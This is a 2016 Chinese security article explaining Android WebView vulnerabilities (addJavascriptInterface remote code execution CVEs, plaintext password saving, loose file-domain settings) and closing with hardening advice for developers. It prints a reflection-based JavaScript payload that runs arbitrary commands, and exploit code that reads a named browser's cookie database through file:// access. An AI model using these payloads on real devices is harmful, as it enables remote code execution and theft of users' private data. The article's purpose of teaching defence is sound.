Android安全开发之WebView中的地雷

2016-11-14 07:53:00 作者:E安全 分类 : 比特网

/uploadImages/2016/11/20161113145630513.jpg

  1.About WebView

  在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者简单的展示一些在线内容等。WebView功能强大,应用广泛,但它是天使与恶魔的合体,一方面它增强了APP的上网体验,让APP功能更多样化,另一方面它也引入了很多的安全问题。在过去几年WebView中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等,这些安全问题可以直接导致用户敏感信息泄露,移动终端被恶意攻击者控制。下文将详细介绍这一系列安全问题,罗列相关的一些案列,并提供相应安全开发建议。

  2.WebView任意代码执行漏洞

  已知的WebView任意代码执行漏洞有4个。较早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口会引起远程代码执行漏洞。接着是CVE-2013-4710,针对某些特定机型会存在addJavascriptInterface API引起的远程代码执行漏洞。之后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”Java Object可能被利用,实现远程任意代码。再后来是CVE-2014-7224,类似于CVE-2014-1939,WebView内置导出“accessibility”和“accessibilityTraversal”两个Java Object接口,可被利用实现远程任意代码执行。

  后文我们将围绕下面这段常见的示例代码展开:

  1. WebView mWebView = (WebView)findViewById(R.id.webView);

  2. ①WebSettings msetting = mWebView.getSettings();

  3. ②msetting.setJavaScriptEnabled(true);

  4. ③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs");

  5. ④mWebView.loadUrl(getIntent().getStringExtra("url"));

  CVE-2012-6636

  Android系统为了方便APP中Java代码和网页中的Javascript脚本交互,在WebView控件中实现了addJavascriptInterface接口,对应示例代码中的③,网页中的JS脚本可以利用接口“myjs”调用App中的Java代码,而Java对象继承关系会导致很多Public的函数及getClass函数都可以在JS中被访问,结合Java的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行。漏洞在2013年8月被披露后,很多APP都中招,其中浏览器APP成为重灾区。但截至目前任有很多APP中依然存在此漏洞,与以往不同的只是攻击入口发生了一定的变化。另外我们也发现一些小厂商的APP开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用addjs接口,明目张胆踩雷。

  出于安全考虑,Google在API 17中规定允许被调用的函数必须以@JavascriptInterface进行注解,理论上如果APP依赖的API为17或者以上,就不会受该问题的影响。但部分机型上,API 17依然受影响,并且如果APP存在此漏洞,且targetsdk小于17,那漏洞的影响可以覆盖到android4.4的终端,如果大于等于17,只能在android4.2的机型上触发,所以前一种情况的危害目前来看依旧很大。

  CVE-2014-1939

  在2014年发现在Android4.4以下的系统中,webkit中默认内置了“searchBoxJavaBridge_”, 代码位于“java/android/webkit/BrowserFrame.java”,该接口同样存在远程代码执行的威胁。

  CVE-2014-7224

  在2014年,研究人员Daoyuan Wu和Rocky Chang发现,当系统辅助功能服务被开启时,在Android4.4以下的系统中,由系统提供的WebView组件都默认导出"accessibility" 和"accessibilityTraversal"这两个接口,代码位于“android/webkit/AccessibilityInjector.java”,这两个接口同样存在远程任意代码执行的威胁。

  常见挂马页面

  1. function addJsHack(cmdArgs){

  2. for (var obj in window)

  3. { try {

  4. if ("getClass" in window[obj]) {

  5. try{

  6. window[obj].getClass().forName("java.lang.Runtime").

  7. getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;

  8. }catch(e){

  9. }

  10.}

  11.} catch(e) {

  12.}

  13.}

  14.}

  15.addJsHack()

  扫码攻击

  图片来自于某漏洞收集平台,通过二维码扫描触发WebView任意代码执行漏洞:

/uploadImages/2016/11/20161113145630293.jpg

  以聚美优品为例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相关代码位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中:

  1. public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) {

  2. ......

  3. this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);

  4. }

  3.WebView密码明文存储漏洞

  WebView默认开启密码保存功能mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db

/uploadImages/2016/11/20161113145630446.jpg

  4.WebView域控制不严格漏洞

  setAllowFileAccess

  Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。

  setAllowFileAccessFromFileURLs

  在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件,在JELLY_BEAN及以后的版本中默认已被是禁止。

  setAllowUniversalAccessFromFileURLs

  在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源,包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。

  360手机浏览器缺陷可导致用户敏感数据泄漏

  以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:

  1. function getDatabase() {

  2. var request = false;

  3. if(window.XMLHttpRequest) {

  4. request = new XMLHttpRequest();

  5. if(request.overrideMimeType) {

  6. request.overrideMimeType('text/xml');}

  7. }

  8. xmlhttp = request;

  9. var prefix = "file:////data/data/com.qihoo.browser/databases";

  10.var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

  11.var path = prefix.concat(postfix);

  12.// 获取本地文件代码

  13.xmlhttp.open("GET", path, false);

  14.xmlhttp.send(null);

  15.var ret = xmlhttp.responseText;

  16.return ret;

  17.}

  漏洞利用代码:

  1. copyFile(); //自定义函数,释放filehehe.html到sd卡上

  2. String url = "file:///mnt/sdcard/filehehe.html";

  3. Intent contIntent = new Intent();

  4. contIntent.setAction("android.intent.action.VIEW");

  5. contIntent.setData(Uri.parse(url));

  6. Intent intent = new Intent();

  7. intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

  8. intent.setAction("android.intent.action.VIEW");

  9. intent.setData(Uri.parse(url));

  10.this.startActivity(intent);

  5.WebView file跨域漏洞

  Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,导致允许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示:

  1.

  2.

  在浏览器中打开服务器上的filereach.html,将从http域跳转到file域

  6.安全开发建议

  1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位;

  2)建议开发者通过以下方式移除该JavaScript接口:

  1. removeJavascriptInterface("searchBoxJavaBridge_")

  2. removeJavascriptInterface("accessibility");

  3. removeJavascriptInterface("accessibilityTraversal")

  3)出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解

  4)通过WebSettings.setSavePassword(false)关闭密码保存提醒功能

  5)通过以下设置,防止越权访问,跨域等安全问题:

  setAllowFileAccess(false)

  setAllowFileAccessFromFileURLs(false)

  setAllowUniversalAccessFromFileURLs(false)

芥末视频

最近更新
科普

科普图集
带着朋友和机器人上月亮散步

带着朋友和机器人上月亮散步>>详情

邮件订阅

软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯,最新的软件技巧,最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中,与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊!
网络周刊
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧,帮助网管答疑解惑,成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一,主要关注x86服务器,RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析,让您第一时间了解服务器行业的趋势。
存储周刊
比特存储周刊长期以来,为读者提供企业存储领域高质量的原创内容,及时、全面的资讯、技术、方案以及案例文章,力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
安全周刊
比特安全周刊通过专业的信息安全内容建设,为企业级用户打造最具商业价值的信息沟通平台,并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比,比特安全周刊运作模式更加独立,对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事,为企业级用户打造重点突出,可读性强,商业价值高的信息共享平台;同时为互联网、IT业界及通信厂商提供一条精准快捷,渗透力强,覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展,全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托,汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台,并持续提供丰富的资讯和服务,探讨信息化建设,推动中国信息化发展引领CIO未来职业发展。
IT专家网
IT专家新闻邮件长期以来,以定向、分众、整合的商业模式,为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容,包括IT新闻、评论、专家答疑、技巧和白皮书。此外,IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊
X周刊是一份IT人的技术娱乐周刊,给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍,同时用户还能参与我们推荐的互动游戏,给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。